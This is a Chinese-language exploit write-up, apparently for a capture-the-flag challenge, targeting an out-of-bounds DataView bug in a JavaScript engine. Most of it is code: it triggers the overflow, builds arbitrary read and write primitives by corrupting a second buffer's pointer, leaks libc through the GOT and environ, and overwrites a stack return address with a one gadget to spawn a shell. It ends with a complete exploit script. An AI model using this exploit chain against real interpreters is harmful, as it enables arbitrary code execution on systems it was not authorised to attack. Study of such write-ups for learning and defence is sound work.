漏洞分析与利用
漏洞触发方式很简单
1 2 3
| var ab = new ArrayBuffer(10); var dv = new DataView(ab); print(dv.getUint32(0x100, 1));
|
之后我们调试如下代码
1 2 3 4 5 6 7 8 9 10 11
| var ab = new ArrayBuffer(10); var dv = new DataView(ab);
var ab2 = new ArrayBuffer(0x1337); var dv2 = new DataView(ab2);
print("finish");
for(let i = 0; i < 100000000; i ++){
}
|
能够找到 ab
和 dv
以及 ab2
和 dv2
通过地址可以发现 ab
在 dv2
上方,那么可以通过 ab
越界修改 dv2
指向 ab2
的指针做到任意地址读写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| var idx = 0; for (let i = 1; i < 0x1000; i++){ let v = dv.getUint32(i, 1); if(v == 0x1337){ print("Get idx!"); idx = i; break; } }
function arb_read(addr){ dv.setUint32(idx + 4, l32(addr[0])); dv.setUint32(idx + 8, l32(addr[1])); let result = new Uint32Array(2); result[0] = dv2.getUint32(0, 1) result[1] = dv2.getUint32(4, 1); return result; }
function arb_write(addr,val){ dv.setUint32(idx + 4, l32(addr[0])); dv.setUint32(idx + 8, l32(addr[1])); dv2.setUint32(0, l32(val[0])); dv2.setUint32(4, l32(val[1])); }
|
最后通过 GOT
表泄漏 libc
,通过 environ
获得栈地址并修改返回地址为 one gadget
来 getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| var u = new Uint32Array(2); u[0] = dv.getUint32(idx + 4, 1); u[1] = dv.getUint32(idx + 8, 1);
print(hex(pack64(u)));
var elf_base = new Uint32Array(2); elf_base[0] = u[0] - 0x6c050; elf_base[1] = u[1]; printhex("elf_base:",elf_base);
var putchar_got = new Uint32Array(2); putchar_got[0] = elf_base[0] + 0x69dd0; putchar_got[1] = elf_base[1]; printhex("putchar_got:",putchar_got);
var libc_base = arb_read(putchar_got); libc_base[0] -= 0x9d850; printhex("libc_base:",libc_base);
var environ_addr = new Uint32Array(2); environ_addr[0] = libc_base[0] + 0x1ef2d0; environ_addr[1] = libc_base[1]; printhex("environ_addr:",environ_addr); var stack_addr = arb_read(environ_addr); printhex("stack_addr:",stack_addr);
var one_gadget = new Uint32Array(2); one_gadget[0] = (libc_base[0] + 0xe6c81); one_gadget[1] = libc_base[1]; printhex("one_gadget:",one_gadget); stack_addr[0] -= 0x118; arb_write(stack_addr,one_gadget);
|
最后效果
之前也尝试过写hook之类的,不过无法触发,并且在写的时候会发现好像需要错位写才写得进去,否则会报错,具体原因未知
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93
| function printhex(s,u){ print(s,"0x" + u[1].toString(16).padStart(8, '0') + u[0].toString(16).padStart(8, '0'));
}
function hex(i){ return "0x" + i.toString(16).padStart(16, '0'); }
function pack64(u){ return u[0] + u[1] * 0x100000000; }
function l32(data){ let result = 0; for(let i=0;i<4;i++){ result <<= 8; result |= data & 0xff; data >>= 8; } return result;
}
var ab = new ArrayBuffer(10); var dv = new DataView(ab);
var ab2 = new ArrayBuffer(0x1337); var dv2 = new DataView(ab2);
var idx = 0; for (let i = 1; i < 0x1000; i++){ let v = dv.getUint32(i, 1); if(v == 0x1337){ print("Get idx!"); idx = i; break; } }
function arb_read(addr){ dv.setUint32(idx + 4, l32(addr[0])); dv.setUint32(idx + 8, l32(addr[1])); let result = new Uint32Array(2); result[0] = dv2.getUint32(0, 1) result[1] = dv2.getUint32(4, 1); return result; }
function arb_write(addr,val){ dv.setUint32(idx + 4, l32(addr[0])); dv.setUint32(idx + 8, l32(addr[1])); dv2.setUint32(0, l32(val[0])); dv2.setUint32(4, l32(val[1])); }
var u = new Uint32Array(2); u[0] = dv.getUint32(idx + 4, 1); u[1] = dv.getUint32(idx + 8, 1);
print(hex(pack64(u)));
var elf_base = new Uint32Array(2); elf_base[0] = u[0] - 0x6c050; elf_base[1] = u[1]; printhex("elf_base:",elf_base);
var putchar_got = new Uint32Array(2); putchar_got[0] = elf_base[0] + 0x69dd0; putchar_got[1] = elf_base[1]; printhex("putchar_got:",putchar_got);
var libc_base = arb_read(putchar_got); libc_base[0] -= 0x9d850; printhex("libc_base:",libc_base);
var environ_addr = new Uint32Array(2); environ_addr[0] = libc_base[0] + 0x1ef2d0; environ_addr[1] = libc_base[1]; printhex("environ_addr:",environ_addr); var stack_addr = arb_read(environ_addr); printhex("stack_addr:",stack_addr);
var one_gadget = new Uint32Array(2); one_gadget[0] = (libc_base[0] + 0xe6c81); one_gadget[1] = libc_base[1]; printhex("one_gadget:",one_gadget); stack_addr[0] -= 0x118; arb_write(stack_addr,one_gadget);
for(let i=0;i<0x1000000;i++){ }
|